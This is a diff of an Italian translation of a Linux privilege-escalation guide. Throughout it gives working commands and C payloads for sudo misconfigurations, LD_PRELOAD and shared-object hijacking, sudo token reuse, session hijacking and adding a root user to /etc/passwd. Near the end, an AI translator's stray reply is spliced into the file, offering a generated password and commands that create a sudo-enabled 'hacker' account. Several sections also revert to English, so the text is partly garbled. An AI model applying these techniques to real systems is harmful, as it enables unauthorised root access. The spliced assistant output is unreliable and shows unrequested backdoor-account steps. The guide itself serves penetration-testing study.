e/o scrivere file o addirittura eseguire un comando.** Per esempio: +Alcuni **comandi inaspettati consentono di leggere e/o scrivere file o perfino eseguire un comando.** Ad esempio: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -778,13 +776,13 @@ less>! ``` ### NOPASSWD -La configurazione di sudo potrebbe consentire a un utente di eseguire un comando con i privilegi di un altro utente senza conoscere la password. +La configurazione di sudo potrebbe permettere a un utente di eseguire un comando con i privilegi di un altro utente senza conoscere la password. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In questo esempio l'utente `demo` può eseguire `vim` come `root`; è quindi banale ottenere una shell aggiungendo una chiave ssh nella directory di root o chiamando `sh`. +In questo esempio l'utente `demo` può eseguire `vim` come `root`; ora è banale ottenere una shell aggiungendo una chiave ssh nella directory `root` o eseguendo `sh`. ``` sudo vim -c '!sh' ``` @@ -796,15 +794,15 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Questo esempio, basato sulla HTB machine Admirer, era vulnerabile a PYTHONPATH hijacking per caricare una libreria python arbitraria durante l'esecuzione dello script come root: +Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerable** a **PYTHONPATH hijacking** per caricare una libreria python arbitraria mentre lo script veniva eseguito come root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV preservato tramite sudo env_keep → root shell +### BASH_ENV preservato tramite sudo env_keep → shell root Se sudoers preserva `BASH_ENV` (es., `Defaults env_keep+="ENV BASH_ENV"`), puoi sfruttare il comportamento di avvio non interattivo di Bash per eseguire codice arbitrario come root quando invochi un comando consentito. -- Perché funziona: Per le shell non interattive, Bash valuta `$BASH_ENV` e carica (sourced) quel file prima di eseguire lo script target. Molte regole di sudo permettono di eseguire uno script o un wrapper di shell. Se `BASH_ENV` è preservato da sudo, il tuo file viene caricato con privilegi di root. +- Perché funziona: per le shell non interattive, Bash valuta `$BASH_ENV` e esegue il source di quel file prima di eseguire lo script di destinazione. Molte regole sudo permettono di eseguire uno script o un wrapper di shell. Se `BASH_ENV` è preservato da sudo, il tuo file viene sourcato con privilegi di root. - Requisiti: - Una regola sudo che puoi eseguire (qualsiasi target che invoca `/bin/bash` in modo non interattivo, o qualsiasi bash script). @@ -820,12 +818,12 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Rafforzamento: +- Hardening: - Rimuovere `BASH_ENV` (e `ENV`) da `env_keep`, preferire `env_reset`. -- Evitare wrapper shell per comandi consentiti via `sudo`; usare binari minimi. -- Considerare il logging I/O di `sudo` e gli alert quando vengono usate variabili d'ambiente preservate. +- Evitare wrapper di shell per i comandi consentiti da sudo; usare binari minimi. +- Considerare il logging I/O di sudo e gli alert quando vengono usate variabili d'ambiente preservate. -### Bypass dei percorsi di esecuzione sudo +### Percorsi per bypassare l'esecuzione con sudo **Jump** per leggere altri file o usare **symlinks**. Ad esempio nel file sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash @@ -837,46 +835,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Se viene usata una **wildcard** (\*), è ancora più semplice: +Se viene usato un **wildcard** (\*), è ancora più semplice: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contromisure**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Comando sudo/SUID binary senza percorso del comando +### Sudo command/SUID binary senza specificare il percorso del comando -Se il **permesso sudo** è concesso per un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo modificando la variabile PATH +Se la **sudo permission** è concessa per un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo modificando la variabile PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Questa tecnica può essere usata anche se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un SUID binary strano)**). +Questa tecnica può anche essere usata se un **suid** binary **esegue un altro comando senza specificarne il percorso (controlla sempre con** _**strings**_ **il contenuto di un SUID binary sospetto)**. [Payload examples to execute.](payloads-to-execute.md) ### SUID binary con percorso del comando -Se il **suid** binary **esegue un altro comando specificando il percorso**, allora puoi provare a **esportare una funzione** chiamata come il comando che il file suid sta invocando. +Se il **suid** binary **esegue un altro comando specificando il percorso**, allora puoi provare a **export a function** chiamata come il comando che il suid file sta invocando. -Per esempio, se un suid binary invoca _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione ed esportarla: +Ad esempio, se un **suid** binary richiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione e esportarla: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Poi, quando esegui il binario suid, questa funzione verrà eseguita +Quindi, quando esegui il binario suid, questa funzione verrà eseguita ### LD_PRELOAD & **LD_LIBRARY_PATH** La variabile d'ambiente **LD_PRELOAD** viene usata per specificare una o più shared libraries (.so files) da caricare dal loader prima di tutte le altre, inclusa la standard C library (`libc.so`). Questo processo è noto come preloading di una libreria. -Tuttavia, per mantenere la sicurezza del sistema e prevenire che questa funzionalità venga sfruttata, particolarmente con eseguibili **suid/sgid**, il sistema applica certe condizioni: +Tuttavia, per mantenere la sicurezza del sistema e prevenire lo sfruttamento di questa funzionalità, specialmente con eseguibili **suid/sgid**, il sistema impone certe condizioni: - Il loader ignora **LD_PRELOAD** per gli eseguibili in cui il real user ID (_ruid_) non corrisponde all'effective user ID (_euid_). -- Per gli eseguibili con suid/sgid, vengono pre-caricate solo le librerie in percorsi standard che sono anch'esse suid/sgid. +- Per gli eseguibili con suid/sgid, vengono precaricate solo le librerie in percorsi standard che sono anch'essi suid/sgid. -Una escalation di privilegi può verificarsi se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include la dichiarazione **env_keep+=LD_PRELOAD**. Questa configurazione permette alla variabile d'ambiente **LD_PRELOAD** di persistere ed essere riconosciuta anche quando i comandi sono eseguiti con `sudo`, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati. +Privilege escalation può verificarsi se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include la dichiarazione **env_keep+=LD_PRELOAD**. Questa configurazione permette alla variabile d'ambiente **LD_PRELOAD** di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati. ``` Defaults env_keep += LD_PRELOAD ``` @@ -903,7 +901,7 @@ Infine, **escalate privileges** eseguendo sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Una privesc simile può essere sfruttata se l'attaccante controlla la env variable **LD_LIBRARY_PATH** perché controlla il percorso in cui verranno cercate le librerie. +> Un privesc simile può essere abusato se l'attaccante controlla la variabile d'ambiente **LD_LIBRARY_PATH** perché controlla il percorso in cui le librerie verranno cercate. ```c #include #include @@ -925,13 +923,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Quando ci si imbatte in un binario con permessi **SUID** che appare insolito, è buona pratica verificare se sta caricando correttamente i file **.so**. Questo può essere controllato eseguendo il seguente comando: +Quando si incontra un binary con permessi **SUID** che sembra insolito, è buona pratica verificare se sta caricando correttamente i file **.so**. Questo può essere controllato eseguendo il seguente comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggerisce un potenziale sfruttamento. +Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggerisce un potenziale di sfruttamento. -Per sfruttarlo, si procederebbe creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice: +Per sfruttare questo, si procede creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il codice seguente: ```c #include #include @@ -948,7 +946,7 @@ Compila il file C sopra in un file oggetto condiviso (.so) con: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Infine, l'esecuzione del SUID binary interessato dovrebbe innescare l'exploit, consentendo un potenziale compromesso del sistema. +Infine, l'esecuzione del binario SUID interessato dovrebbe attivare l'exploit, consentendo un potenziale compromesso del sistema. ## Shared Object Hijacking ```bash @@ -960,7 +958,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Ora che abbiamo trovato un SUID binary che carica una libreria da una cartella in cui possiamo scrivere, creiamo la libreria in quella cartella con il nome necessario: +Ora che abbiamo trovato un SUID binary che carica una library da una cartella in cui possiamo scrivere, creiamo la library in quella cartella con il nome necessario: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -973,7 +971,7 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Se ottieni un errore come +Se ricevi un errore come ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` @@ -981,9 +979,9 @@ ciò significa che la libreria che hai generato deve avere una funzione chiamata ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) è una lista curata di binari Unix che possono essere sfruttati da un attaccante per bypassare le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **solo iniettare argomenti** in un comando. +[**GTFOBins**](https://gtfobins.github.io) è una lista curata di binari Unix che possono essere sfruttati da un attaccante per eludere le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **solo iniettare argomenti** in un comando. -Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusate per evadere restricted shells, escalare o mantenere elevated privileges, trasferire file, spawn bind e reverse shells, e facilitare altri compiti di post-exploitation. +Il progetto raccoglie funzionalità legittime dei binari Unix che possono essere abusate per evadere shell ristrette, effettuare escalation o mantenere privilegi elevati, trasferire file, generare bind e reverse shell, e facilitare altri compiti di post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1002,50 +1000,50 @@ https://gtfoargs.github.io/ ### FallOfSudo -Se puoi eseguire `sudo -l` puoi usare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per verificare se trova come sfruttare qualche regola sudo. +Se puoi eseguire `sudo -l` puoi usare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per verificare se trova un modo per sfruttare qualche regola sudo. ### Reusing Sudo Tokens -Nei casi in cui hai **sudo access** ma non la password, puoi escalare i privilegi aspettando l'esecuzione di un comando sudo e poi hijacking the session token. +Nei casi in cui hai **accesso sudo** ma non la password, puoi ottenere l'elevazione dei privilegi aspettando l'esecuzione di un comando sudo e poi dirottando il token di sessione. -Requisiti per escalare i privilegi: +Requisiti per elevare i privilegi: - Hai già una shell come utente "_sampleuser_" -- "_sampleuser_" ha **usato `sudo`** per eseguire qualcosa negli **ultimi 15 minuti** (di default questa è la durata del sudo token che ci permette di usare `sudo` senza inserire alcuna password) +- "_sampleuser_" ha **usato `sudo`** per eseguire qualcosa negli **ultimi 15 minuti** (di default quella è la durata del token sudo che ci permette di usare `sudo` senza inserire nessuna password) - `cat /proc/sys/kernel/yama/ptrace_scope` è 0 -- `gdb` è accessibile (devi poterlo caricare) +- `gdb` è accessibile (puoi caricarlo) -(Puoi temporaneamente abilitare `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e impostando `kernel.yama.ptrace_scope = 0`) +(Puoi abilitare temporaneamente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e impostando `kernel.yama.ptrace_scope = 0`) -Se tutti questi requisiti sono soddisfatti, **puoi escalare i privilegi usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Se tutti questi requisiti sono soddisfatti, **puoi elevare i privilegi usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- Il **primo exploit** (`exploit.sh`) creerà il binario `activate_sudo_token` in _/tmp_. Puoi usarlo per **attivare il token sudo nella tua sessione** (non otterrai automaticamente una shell root, esegui `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Il **secondo exploit** (`exploit_v2.sh`) creerà una sh shell in _/tmp_ **di proprietà di root con setuid** +- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **di proprietà di root con setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Il **terzo exploit** (`exploit_v3.sh`) creerà **un file sudoers** che rende **i sudo tokens eterni e permette a tutti gli utenti di usare sudo** +- Il **terzo exploit** (`exploit_v3.sh`) **creerà un sudoers file** che rende **i sudo tokens eterni e permette a tutti gli utenti di usare sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se hai **permessi di scrittura** nella cartella o su uno qualsiasi dei file creati all'interno della cartella puoi usare l'eseguibile [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un sudo token per un utente e PID**.\ +Se hai i **permessi di scrittura** nella cartella o su uno qualsiasi dei file creati all'interno della cartella, puoi usare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un token sudo per un utente e PID**.\ Ad esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere privilegi sudo** senza dover conoscere la password eseguendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Il file `/etc/sudoers` e i file all'interno di `/etc/sudoers.d` configurano chi può usare `sudo` e come. Questi file **di default possono essere letti solo dall'utente root e dal gruppo root**.\ -**Se** puoi **leggere** questo file potresti essere in grado di **ottenere alcune informazioni interessanti**, e se puoi **scrivere** qualsiasi file sarai in grado di **escalate privileges**. +Il file `/etc/sudoers` e i file presenti in `/etc/sudoers.d` configurano chi può usare `sudo` e come. Questi file **di default possono essere letti solo dall'utente root e dal gruppo root**.\ +**Se** puoi **leggere** questo file potresti riuscire a **ottenere alcune informazioni interessanti**, e se puoi **scrivere** qualsiasi file sarai in grado di **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1064,17 +1062,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Ci sono alcune alternative al binario `sudo`, come `doas` su OpenBSD; ricorda di controllare la sua configurazione in `/etc/doas.conf` +Esistono alcune alternative al binario `sudo`, come `doas` per OpenBSD. Ricorda di controllare la sua configurazione in `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se sai che un **utente di solito si connette a una macchina e usa `sudo`** per elevare i privilegi e hai ottenuto una shell in quel contesto utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modifica il $PATH** del contesto utente (per esempio aggiungendo il nuovo percorso in .bash_profile) in modo che quando l'utente esegue sudo, venga eseguito il tuo eseguibile sudo. +Se sai che un **utente solitamente si connette a una macchina e usa `sudo`** per elevare i privilegi e hai ottenuto una shell nel contesto di quell'utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modifica il $PATH** del contesto utente (per esempio aggiungendo il nuovo percorso in .bash_profile) così quando l'utente esegue sudo, il tuo eseguibile sudo verrà eseguito. -Nota che se l'utente usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Per esempio[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Nota che se l'utente usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo path. Per esempio [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Oppure eseguendo qualcosa del genere: +Oppure eseguendo qualcosa del tipo: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Copiando la lib in `/var/tmp/flag15/` verrà utilizzata dal programma in questo percorso come specificato nella variabile `RPATH`. +Copiare la lib in `/var/tmp/flag15/` farà sì che venga usata dal programma in quella posizione, come specificato nella variabile `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1140,8 +1138,8 @@ execve(file,argv,0); ``` ## Capacità -Le Linux capabilities forniscono un **sottoinsieme dei privilegi root disponibili a un processo**. Questo effettivamente spezza i privilegi root in **unità più piccole e distinte**. Ognuna di queste unità può poi essere concessa in modo indipendente ai processi. In questo modo l'insieme completo dei privilegi è ridotto, diminuendo i rischi di sfruttamento.\ -Leggi la seguente pagina per **saperne di più sulle capabilities e su come abusarne**: +Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ +Read the following page to **learn more about capabilities and how to abuse them**: {{#ref}} @@ -1150,30 +1148,30 @@ linux-capabilities.md ## Permessi delle directory -In una directory, il **bit "execute"** implica che l'utente interessato può "**cd**" nella cartella.\ -Il **bit "read"** implica che l'utente può **list** i **files**, e il **bit "write"** implica che l'utente può **delete** e **create** nuovi **files**. +In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ +The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. ## ACLs -Access Control Lists (ACLs) rappresentano il livello secondario di permessi discrezionali, in grado di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory permettendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) rappresentano il livello secondario di permessi discrezionali, in grado di **overriding the traditional ugo/rwx permissions**. Questi permessi migliorano il controllo sull'accesso a file o directory permettendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità assicura una gestione degli accessi più precisa**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Concedi** all'utente "kali" i permessi read e write su un file: +**Concedi** all'utente "kali" i permessi di lettura e scrittura su un file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Ottenere** file con ACL specifiche dal sistema: +**Ottieni** file con ACL specifiche dal sistema: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Sessioni shell aperte +## Apertura di shell sessions -Nelle **vecchie versioni** potresti effettuare un **hijack** di alcune sessioni **shell** di un altro utente (**root**).\ -Nelle **versioni più recenti** sarai in grado di **connetterti** alle screen sessions solo del **tuo utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. +Nelle **vecchie versioni** potresti **hijack** qualche sessione **shell** di un utente diverso (**root**).\ +Nelle **nuove versioni** potrai **collegarti** solo alle screen sessions del **tuo utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. -### hijacking delle screen sessions +### screen sessions hijacking **Elenca screen sessions** ```bash @@ -1182,7 +1180,7 @@ screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Collegati a una sessione** +**Collegarsi a una sessione** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1190,9 +1188,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Questo era un problema con **vecchie versioni di tmux**. Non sono riuscito a hijack una sessione tmux (v2.1) creata da root come utente non privilegiato. +Questo era un problema con le vecchie versioni di tmux. Non sono riuscito a hijackare una sessione tmux (v2.1) creata da root come utente non privilegiato. -**Elenca le sessioni tmux** +**Elencare le sessioni tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1210,53 +1208,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Vedi **Valentine box from HTB** per un esempio. +Check **Valentine box from HTB** per un esempio. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Tutte le chiavi SSL e SSH generate sui sistemi basati su Debian (Ubuntu, Kubuntu, etc) tra settembre 2006 e il 13 maggio 2008 possono essere affette da questo bug.\ -Questo bug è causato durante la creazione di una nuova ssh key in quegli OS, poiché **solo 32,768 variazioni erano possibili**. Questo significa che tutte le possibilità possono essere calcolate e **avendo la ssh public key puoi cercare la corrispondente private key**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +Questo bug si verifica quando si crea una nuova ssh key in quegli OS, poiché **erano possibili solo 32.768 variazioni**. Questo significa che tutte le possibilità possono essere calcolate e **avendo la ssh public key puoi cercare la corrispondente private key**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### Valori di configurazione SSH interessanti +### SSH Interesting configuration values -- **PasswordAuthentication:** Specifica se l'autenticazione via password è consentita. Il valore predefinito è `no`. -- **PubkeyAuthentication:** Specifica se l'autenticazione tramite public key è consentita. Il valore predefinito è `yes`. -- **PermitEmptyPasswords**: Quando l'autenticazione via password è consentita, specifica se il server permette il login ad account con stringhe di password vuote. Il valore predefinito è `no`. +- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. +- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. +- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. ### PermitRootLogin -Specifica se root può effettuare il login usando ssh, il valore predefinito è `no`. Valori possibili: +Specifies whether root can log in using ssh, default is `no`. Possible values: -- `yes`: root può effettuare il login usando password e private key -- `without-password` o `prohibit-password`: root può effettuare il login solo con una private key -- `forced-commands-only`: root può effettuare il login solo usando private key e se sono specificate le opzioni commands -- `no`: no +- `yes`: root can login using password and private key +- `without-password` or `prohibit-password`: root can only login with a private key +- `forced-commands-only`: Root can login only using private key and if the command option is specified +- `no` : no ### AuthorizedKeysFile -Specifica i file che contengono le public keys che possono essere usate per l'autenticazione degli utenti. Può contenere token come `%h`, che verrà sostituito dalla home directory. **Puoi indicare percorsi assoluti** (che iniziano con `/`) o **percorsi relativi dalla home dell'utente**. Per esempio: +Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Questa configurazione indica che se tenti di accedere con la **chiave privata** dell'utente "**testusername**", ssh confronterà la chiave pubblica della tua chiave con quelle presenti in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Questa configurazione indicherà che se provi a effettuare il login con la chiave **privata** dell'utente "**testusername**", ssh confronterà la chiave pubblica della tua chiave con quelle presenti in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding consente di **usare le tue chiavi SSH locali invece di lasciare chiavi** (senza passphrase!) sul tuo server. In questo modo potrai **collegarti** via ssh **a un host** e da lì **saltare a un altro** host **usando** la **chiave** presente nel tuo **host iniziale**. +SSH agent forwarding ti permette di **usare le tue SSH keys locali invece di lasciare le chiavi** (senza passphrase!) sul server. In questo modo potrai **collegarti** via ssh **a un host** e da lì **collegarti a un altro** host **usando** la **chiave** presente nel tuo **host iniziale**. -Devi impostare questa opzione in `$HOME/.ssh.config` in questo modo: +Devi impostare questa opzione in `$HOME/.ssh.config` così: ``` Host example.com ForwardAgent yes ``` -Nota che se `Host` è `*`, ogni volta che l'utente si sposta su una macchina diversa, quell'host potrà accedere alle chiavi (il che rappresenta un problema di sicurezza). +Nota che se `Host` è `*`, ogni volta che l'utente si collega a una macchina diversa, quell'host potrà accedere alle chiavi (il che rappresenta un problema di sicurezza). Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\ -Il file `/etc/sshd_config` può **consentire** o **negare** lo ssh-agent forwarding con la parola chiave `AllowAgentForwarding` (il valore predefinito è allow). +Il file `/etc/sshd_config` può **consentire** o **negare** ssh-agent forwarding con la parola chiave `AllowAgentForwarding` (di default è consentito). -Se trovi che Forward Agent è configurato in un ambiente, leggi la pagina seguente poiché **potresti essere in grado di abusarne per escalate privileges**: +Se trovi che Forward Agent è configurato in un ambiente, leggi la pagina seguente perché **potresti essere in grado di abusarne per scalare i privilegi**: {{#ref}} @@ -1265,28 +1263,28 @@ ssh-forward-agent-exploitation.md ## File interessanti -### File dei profili +### File di profilo -Il file `/etc/profile` e i file in `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno qualsiasi di essi puoi escalate privileges**. +Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno qualsiasi di essi, puoi scalare i privilegi**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Se trovi uno script di profilo sospetto dovresti verificarlo per **dettagli sensibili**. +Se viene trovato uno script di profilo strano dovresti controllarlo per **dettagli sensibili**. -### File Passwd/Shadow +### Passwd/Shadow Files -A seconda del sistema operativo i file `/etc/passwd` e `/etc/shadow` potrebbero usare un nome diverso oppure potrebbe esserci una copia di backup. Per questo è consigliato **trovarli tutti** e **verificare se puoi leggerli** per vedere **se ci sono hashes** all'interno dei file: +A seconda del sistema operativo i file `/etc/passwd` e `/etc/shadow` potrebbero usare un nome diverso o potrebbe esserci un backup. Perciò è consigliato **trovarli tutti** e **verificare se puoi leggerli** per vedere **se ci sono hash** all'interno dei file: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In alcune occasioni puoi trovare **hash delle password** all'interno del file `/etc/passwd` (o equivalente) +In alcune occasioni puoi trovare **password hashes** all'interno del file `/etc/passwd` (o equivalente) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Scrivibile /etc/passwd +### /etc/passwd scrivibile Per prima cosa, genera una password con uno dei seguenti comandi. ``` @@ -1294,41 +1292,32 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -I don't have the contents of src/linux-hardening/privilege-escalation/README.md. Please paste the file content (or confirm I can fetch it) so I can translate the relevant English to Italian while preserving markdown/html, tags, links and code as you requested. +I don’t have the contents of src/linux-hardening/privilege-escalation/README.md. Please paste the README.md content you want translated. -If you want me to also append user-creation instructions to the translated file, confirm and I will add the following (I generated a strong password below — tell me if you prefer a different one or a password hash): - -Generated password: r8^qL9#zT6vP!2bW - -Commands I will append (these are examples to add the user; I will not run them — they are for you to run on your system): - -sudo useradd -m -s /bin/bash hacker -echo 'hacker:r8^qL9#zT6vP!2bW' | sudo chpasswd -# optional: give sudo -sudo usermod -aG sudo hacker - -Confirm you want me to (1) translate the file you paste and (2) append those user-creation lines (with the generated password above), or provide the file and any modifications you prefer. +Also clarify: +- Do you want me to generate a password for the user `hacker`, or will you provide one? +- If I generate a password, do you want it included literally in the translated file (e.g., in a code block or inline), and where should I insert the user/password entry in the README? ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Ad esempio: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Es.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Ora puoi usare il comando `su` con `hacker:hacker` -In alternativa, puoi usare le seguenti righe per aggiungere un utente fittizio senza password.\ -ATTENZIONE: potresti compromettere la sicurezza attuale della macchina. +In alternativa, 